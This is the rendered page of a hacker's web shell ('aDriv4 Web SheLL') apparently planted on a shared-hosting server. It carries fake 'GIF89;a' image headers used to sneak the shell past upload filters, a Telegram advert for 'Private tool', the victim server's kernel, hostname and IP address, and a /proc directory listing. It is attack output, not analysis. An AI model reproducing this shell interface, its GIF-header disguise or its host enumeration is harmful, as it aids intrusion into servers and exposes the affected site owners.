GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium163.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 162.0.209.21
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-19 09:03:27
.. dir - root/root 0755 2025-08-05 06:44:57
2322683 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:14
2323118 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:14
2354307 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:14
2356672 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:11
2373529 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:14
2374704 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:14
2375536 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:16
2375699 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:19
2375706 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:19
2376624 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:32
2376721 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:34
2376827 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:35
2376834 dir - adcoycyg/adcoycyg 0555 2025-11-18 08:57:35
acpi dir - root/root 0555 2025-06-19 09:03:30
bus dir - root/root 0555 2025-06-19 09:03:40
driver dir - root/root 0555 2025-11-18 08:57:35
fs dir - root/root 0555 2025-06-19 09:03:40
irq dir - root/root 0555 2025-06-19 09:03:40
kcare dir - root/root 0555 2025-11-18 08:57:35
lve dir - root/root 0555 2025-11-18 08:57:25
net link - adcoycyg/adcoycyg 0555 2025-11-18 08:57:36
scsi dir - root/root 0555 2025-06-19 09:03:40
self link - adcoycyg/adcoycyg 0555 2025-11-18 08:57:35
sys dir - root/root 0555 2025-06-19 09:03:28
sysvipc dir - root/root 0555 2025-11-18 08:57:35
thread-self link - adcoycyg/adcoycyg 0555 2025-11-18 08:57:36
tty dir - root/root 0555 2025-11-18 08:57:35
buddyinfo 0 B root/root 0444 2025-11-18 08:57:35
cgroups 0 B root/root 0444 2025-11-18 08:57:35
cmdline text/plain 0 B root/root 0444 2025-11-18 08:57:26
consoles 0 B root/root 0444 2025-11-18 08:57:35
cpuinfo text/plain 0 B root/root 0444 2025-11-18 08:57:25
crypto 0 B root/root 0444 2025-11-18 08:57:35
devices 0 B root/root 0444 2025-11-18 08:57:35
diskstats 0 B root/root 0444 2025-11-18 08:57:30
dma 0 B root/root 0444 2025-11-18 08:57:35
execdomains 0 B root/root 0444 2025-11-18 08:57:35
fb 0 B root/root 0444 2025-11-18 08:57:35
filesystems text/plain 0 B root/root 0444 2025-11-18 08:57:11
interrupts 0 B root/root 0444 2025-11-18 08:57:35
iomem 0 B root/root 0444 2025-11-18 08:57:35
ioports 0 B root/root 0444 2025-11-18 08:57:35
kallsyms 0 B root/root 0444 2025-06-19 09:03:40
kcore 128 TB root/root 0400 2025-06-19 09:03:30
key-users 0 B root/root 0444 2025-11-18 08:57:35
keys 0 B root/root 0444 2025-11-18 08:57:35
kmsg 0 B root/root 0400 2025-11-18 08:57:35
kpagecgroup 0 B root/root 0400 2025-11-18 08:57:35
kpagecount 0 B root/root 0400 2025-11-18 08:57:35
kpageflags 0 B root/root 0400 2025-11-18 08:57:35
loadavg text/plain 0 B root/root 0444 2025-11-18 08:57:30
locks 0 B root/root 0444 2025-11-18 08:57:35
mdstat 0 B root/root 0444 2025-11-18 08:57:35
meminfo text/plain 0 B root/root 0444 2025-11-18 08:57:30
misc 0 B root/root 0444 2025-11-18 08:57:35
modules 0 B root/root 0444 2025-11-18 08:57:35
mounts text/plain 0 B adcoycyg/adcoycyg 0444 2025-11-18 08:57:36
mtrr 0 B root/root 0644 2025-06-19 09:03:40
pagetypeinfo 0 B root/root 0400 2025-11-18 08:57:35
partitions 0 B root/root 0444 2025-11-18 08:57:35
sched_debug 0 B root/root 0444 2025-11-18 08:57:35
schedstat 0 B root/root 0444 2025-11-18 08:57:35
slabinfo 0 B root/root 0400 2025-11-18 08:57:35
softirqs 0 B root/root 0444 2025-11-18 08:57:35
stat text/plain 0 B root/root 0444 2025-11-18 08:57:25
swaps 0 B root/root 0444 2025-06-19 09:03:28
sysrq-trigger 0 B root/root 0200 2025-06-19 09:03:40
timer_list 0 B root/root 0400 2025-11-18 08:57:35
uptime text/plain 0 B root/root 0444 2025-11-18 08:57:35
version text/plain 0 B root/root 0444 2025-11-18 08:57:35
vmallocinfo 0 B root/root 0400 2025-11-18 08:57:35
vmstat 0 B root/root 0444 2025-11-18 08:57:30
zoneinfo 0 B root/root 0444 2025-11-18 08:57:35
© aDriv4